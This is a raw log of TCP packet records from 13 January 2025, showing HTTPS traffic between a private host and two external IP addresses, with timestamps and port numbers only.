Jan 13, 2025 21:53:06.101454973 CET	49875	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.101469994 CET	443	49875	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.101663113 CET	443	49875	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.101690054 CET	443	49875	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.101726055 CET	49875	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.101746082 CET	443	49875	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.101775885 CET	49875	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.101885080 CET	49875	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.103024006 CET	49875	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.103076935 CET	443	49875	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.103135109 CET	49875	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.112624884 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:06.112637043 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:06.113001108 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:06.113248110 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:06.113257885 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:06.117198944 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.117227077 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.117283106 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.117714882 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.117727041 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.122076035 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.122092962 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.122211933 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.122395039 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.122404099 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.124496937 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.124716997 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.124728918 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.128293991 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.128372908 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.128755093 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.128904104 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.128909111 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.128921032 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.177541018 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.177552938 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.217528105 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.217875004 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.217889071 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.218997955 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.219419956 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.219502926 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.219646931 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.219676971 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.229185104 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.307744980 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.308258057 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.308290958 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.309189081 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.309272051 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.309772015 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.309830904 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.309954882 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.309963942 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.354533911 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.363271952 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.363667011 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.363686085 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.367209911 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.367289066 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.368577957 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.368756056 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.368768930 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.388070107 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.399764061 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.415333033 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.418767929 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.418777943 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.434011936 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.449599028 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.464941025 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.527705908 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.544122934 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.575902939 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.575933933 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.576852083 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.577050924 CET	443	49889	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.577142000 CET	49889	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.589943886 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.590014935 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.590579033 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.590840101 CET	443	49888	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.590915918 CET	49888	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.623939037 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.666862965 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.666889906 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.706130981 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.714843988 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.714854956 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.739926100 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.740329027 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.740341902 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.740833998 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.741309881 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.741395950 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.741775990 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.747934103 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.747953892 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.757844925 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.758093119 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.758114100 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.759083033 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.759154081 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.759488106 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.759551048 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.759717941 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.759725094 CET	443	49897	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.767539024 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.773158073 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.773192883 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.773225069 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.773241043 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.773252010 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.777733088 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.777743101 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.777781963 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.777797937 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.777813911 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.777825117 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.777833939 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.777837992 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.777868986 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.777868986 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.779393911 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.779401064 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.779428959 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.779441118 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.779443979 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.779457092 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.779465914 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.779469967 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.779484987 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.779505014 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.779525995 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.783329964 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.808120966 CET	49897	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.823534966 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.823560953 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.824278116 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.824583054 CET	443	49892	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.824657917 CET	49892	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.846532106 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.846554041 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.846604109 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.846625090 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.846640110 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.846669912 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.867052078 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.867121935 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.867130995 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.867328882 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.867362976 CET	443	49891	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:06.867440939 CET	49891	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:06.993236065 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:06.993514061 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:06.993537903 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:06.993876934 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:06.994200945 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:06.994328976 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:06.994338036 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:06.994590044 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.041450024 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.158108950 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.198967934 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.198982954 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.245343924 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.245358944 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.263109922 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.296017885 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.310070038 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.310096979 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.310118914 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.310131073 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.310141087 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.310157061 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.310179949 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.310288906 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.310300112 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.310317039 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.310354948 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.310386896 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.310403109 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.310410976 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.310431957 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.310447931 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.310482025 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.310482025 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.311217070 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.311232090 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.311252117 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.311285019 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.311306000 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.311321020 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.311655998 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.311655998 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.312568903 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.312591076 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.312647104 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.312657118 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.312786102 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.354819059 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.354830980 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.354870081 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.354918003 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.354965925 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.354988098 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.356688023 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.356709957 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.356775045 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.356789112 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.356826067 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.397464991 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.397501945 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.397618055 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.397618055 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.397631884 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.398164988 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.398190022 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.398233891 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.398233891 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.398242950 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.398300886 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.398300886 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.399056911 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.399077892 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.400533915 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.400546074 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.401552916 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.401705027 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.444960117 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.444972038 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.445019007 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.445040941 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.445056915 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.445102930 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.445866108 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.445885897 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.445939064 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.445945024 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.445992947 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.446818113 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.446839094 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.446892977 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.446898937 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.446937084 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.448776960 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.448801041 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.448859930 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.448865891 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.450093985 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.483333111 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.483354092 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.483417034 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.483438015 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.483551025 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.483776093 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.483795881 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.483859062 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.483859062 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.483866930 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.484164000 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.484186888 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.484246016 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.484246016 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.484257936 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.484533072 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.484553099 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.484605074 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.484605074 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.484605074 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.484613895 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.485285997 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.485311031 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.485347986 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.485347986 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.485354900 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.485409021 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.485409021 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.488145113 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.488162994 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.488425970 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.488456011 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.488485098 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.488485098 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.488497019 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.488532066 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.489017963 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.489037037 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.489083052 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.489099026 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.531884909 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.536123991 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.536156893 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.536216974 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.536284924 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.536320925 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.536346912 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.536569118 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.536591053 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.536639929 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.536652088 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.536680937 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.536700964 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.537712097 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.537729025 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.537798882 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.537813902 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.537879944 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.538336039 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.538356066 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.538431883 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.538445950 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.538503885 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.539273977 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.539295912 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.539390087 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.539396048 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.539436102 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.539450884 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.540277004 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.540292978 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.540354967 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.540360928 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.540419102 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.543486118 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.543505907 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.543575048 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.543581009 CET	443	49896	152.199.21.175	192.168.2.6
Jan 13, 2025 21:53:07.543618917 CET	49896	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:53:07.570904016 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.570935011 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.570986986 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.571002007 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.571017981 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.571062088 CET	49898	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:53:07.571665049 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.571685076 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.571783066 CET	443	49898	104.168.175.55	192.168.2.6
Jan 13, 2025 21:53:07.571806908 CET	49898	443	192.168.2.6	104.168.175.55
